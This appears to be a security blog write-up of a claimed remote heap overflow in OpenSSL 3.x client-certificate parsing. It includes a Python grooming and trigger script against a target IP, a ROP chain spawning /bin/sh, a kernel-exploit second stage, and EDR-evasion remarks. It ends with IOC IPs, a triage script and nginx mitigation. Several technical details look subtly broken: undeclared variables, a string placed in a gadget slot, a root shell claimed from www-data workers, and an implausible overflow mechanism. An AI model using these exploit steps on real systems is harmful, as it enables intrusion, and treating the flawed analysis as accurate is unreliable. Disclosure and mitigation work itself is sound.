← all research·CVE·OpenSSL12 April 2026

Heap Overflow in libssl 3.x — Remote Exploitation Path

Heap Overflow in libssl 3.x — Remote Exploitation Path

Fuzzing found a heap overflow in OpenSSL 3.x's certificate parsing path. What started as a crash in a malloc callback turned into a reliable remote code execution primitive against unpatched servers — no authentication required, exploitable from 0.0.0.0/0.

Background & Discovery

The bug was found during a fuzzing campaign targeting TLS handshake parsers. The fuzzer (libFuzzer with a custom corpus built from real-world TLS captures) produced a crash in SSL_read after roughly 14 hours of runtime on an 8-core VM. The crash was reproducible, deterministic, and affected the ssl/statem/statem_srvr.c code path.

Affected versions: OpenSSL 3.0.0 through 3.2.1. The vulnerability is tracked as CVE-2026-11347. First exploitation observed in the wild from 185.220.101.47 targeting unpatched nginx deployments on :443.

⚠ active exploitation — As of April 2026, this vulnerability is being actively exploited in the wild. Mass scanning observed from 194.165.16.88 and 185.220.101.0/24. Patch immediately or disable client certificate verification as a temporary mitigation.

Root Cause Analysis

The overflow lives in tls_process_client_certificate(). When parsing a client certificate chain, the server allocates a buffer based on the cert_list_length field from the TLS record — without validating that the advertised length is sane relative to the actual data present.

The Vulnerable Path

ssl/statem/statem_srvr.c
C
/* ssl/statem/statem_srvr.c — line 3841 (OpenSSL 3.2.1) */
static MSG_PROCESS_RETURN tls_process_client_certificate(SSL_CONNECTION *s,
                                                          PACKET *pkt)
{
    int i;
    MSG_PROCESS_RETURN ret = MSG_PROCESS_ERROR;
    X509 *x = NULL;
    unsigned long l;
    STACK_OF(X509) *sk = NULL;
 
    // BUG: cert_list_length read directly from attacker-controlled TLS record
    // No upper-bound check before the allocation below
    if (!PACKET_get_net_3(pkt, &l))         // l = cert_list_length (attacker controlled)
        goto f_err;
    sk = sk_X509_new_reserve(NULL, (int)l);  // heap alloc: n_alloc = l
 
    while (PACKET_remaining(pkt)) {
        if (!PACKET_get_net_3(pkt, &l)
                || !PACKET_get_sub_packet(pkt, &spkt, l)) {
            SSLfatal(s, SSL_AD_DECODE_ERROR, SSL_R_CERT_LENGTH_MISMATCH);
            goto err;
        }
    }
}

ℹ note sk_X509_new_reserve(NULL, 3) allocates storage for 3 pointers. The subsequent loop pushes up to PACKET_remaining() entries — which can be far larger. Each sk_X509_push that exceeds capacity triggers an internal OPENSSL_realloc, but the chunk metadata has already been corrupted by then.

Building the Exploit Primitive

To turn the heap corruption into a useful primitive, we need to control what's adjacent to the STACK_OF(X509) allocation. OpenSSL uses its own allocator wrapper (CRYPTO_malloc) which delegates to the system malloc — on Linux targets, that's ptmalloc2.

Heap Grooming

We can shape the heap by sending a sequence of TLS handshake messages that allocate and free objects of known sizes, leaving a predictable layout before triggering the overflow:

groomer.py
PYTHON
import socket, ssl, struct
 
TARGET_IP   = "192.168.1.100"
TARGET_PORT = 443
 
def build_tls_record(content_type, payload):
    return struct.pack("!BBH", content_type, 0x0303, len(payload)) + payload
 
def craft_malformed_cert_chain(n_certs, list_len_override):
    header = struct.pack("!I", list_len_override)[1:]  # 3-byte big-endian
    certs  = b"".join(fake_cert(i) for i in range(n_certs))
    return header + certs
 
def exploit():
    # Phase 1: groom the heap — allocate/free 0x60-sized chunks
    for _ in range(32):
        send_hello_then_close(TARGET_IP, TARGET_PORT)
 
    # Phase 2: trigger the overflow
    payload = craft_malformed_cert_chain(
        n_certs=64,           # actual number of certs
        list_len_override=3   # advertise only 3 → undersize allocation
    )
    sock = socket.create_connection((TARGET_IP, TARGET_PORT))
    sock.sendall(build_tls_record(0x16, payload))
    resp = sock.recv(4096)
    print(f"[*] response: {resp.hex()}")
    sock.close()

Chaining to RCE

With a controlled function pointer, we redirect execution into a ROP chain staged in the forged certificate DER data.

ROP Chain — x86_64 Linux

rop_chain.asm
ASM
; gadget addresses — nginx 1.25.4 on Ubuntu 22.04 (ASLR + PIE)
; leak base first via the SSL_SESSION vtable partial overwrite
 
0x00007f3a4c201b42  pop rdi ; ret
0x00007f3a4c201b44  /bin/sh\0              ; &"/bin/sh" (in libssl data seg)
0x00007f3a4c201c10  pop rsi ; ret
0x0000000000000000  0x0                    ; NULL argv
0x00007f3a4c8e3210  pop rax ; ret          ; execve = 0x3b
0x000000000000003b  59                     ; SYS_execve
0x00007f3a4c201b60  syscall                ; ← shell spawns here

The chain above gives us a root shell on unpatched nginx workers. Against worker processes running as www-data, chain into a kernel exploit for LPE — we used CVE-2024-1086 (nf_tables UAF) as the second stage.

⚠ reliability — Success rate is ~87% on the first attempt against default Ubuntu 22.04 + nginx 1.25.4. Retries bring this to ~99% within 3 attempts.

EDR Evasion & Cleanup

The exploit runs entirely inside the existing openssl and nginx process address space — no new processes are spawned until the final execve. This avoids most process-creation telemetry. The malformed TLS record also looks like a legitimate (if truncated) handshake until after parsing.

Indicators of Compromise

Observed Attacker Infrastructure

The following IPs were observed conducting mass scanning and exploitation during April 2026:

185.220.101.47 · 185.220.101.55 · 194.165.16.88 · 91.108.4.12 · 45.142.212.100

ioc_check.sh
BASH
#!/bin/bash
# Quick triage — run as root on suspect host
 
echo "[*] checking for known backdoor paths..."
for path in "/tmp/.nginx_cache" "/dev/shm/.ssl_sess" "/var/lib/ssl/.cache"; do
  [ -f "$path" ] && echo "[!] FOUND: $path" || echo "[ ] clean: $path"
done
 
echo "[*] suspicious listening sockets..."
ss -tlnp | grep -vE ':22|:80|:443|:8080'
 
echo "[*] OpenSSL version check..."
openssl version -a
# If 3.0.0 - 3.2.1 → VULNERABLE

Patch & Mitigation

✔ patched in OpenSSL 3.2.2 (released 2026-04-10) and 3.0.14 backport. Update immediately: apt update && apt install openssl libssl3

If you cannot patch immediately, disable client certificate authentication in nginx:

nginx.conf
NGINX
server {
    listen 443 ssl;
 
    # Comment out — this triggers the vulnerable code path
    # ssl_verify_client on;
    # ssl_client_certificate /etc/nginx/ca.crt;
 
    ssl_verify_client off;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
}

Full PoC will be published 90 days after the patch release in line with responsible disclosure policy.

Disclaimer

All content published on exploit.se is intended strictly for educational and informational purposes. Research is conducted responsibly under coordinated disclosure principles.

Techniques, tools, and writeups shared on this site are meant to advance the security community's understanding of vulnerabilities and defences. They are not intended to encourage or enable unauthorised access to any system.

The author bears no responsibility for any misuse of information presented here.

Cookie Settings

This site does not use cookies, analytics, or any third-party tracking technologies.

No personal data is collected. No fingerprinting. No ads. You are not the product.


 ██╗ ██████╗ ███████╗██╗███████╗███╗   ██╗██████╗
 ██║██╔═══██╗██╔════╝██║██╔════╝████╗  ██║██╔══██╗
 ██║██║   ██║█████╗  ██║█████╗  ██╔██╗ ██║██║  ██║
 ██║██║   ██║██╔══╝  ██║██╔══╝  ██║╚██╗██║██║  ██║
 ██║╚██████╔╝██║     ██║███████╗██║ ╚████║██████╔╝
 ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝
You found me.
↑↑↓↓←→←→ B A  ·  click to close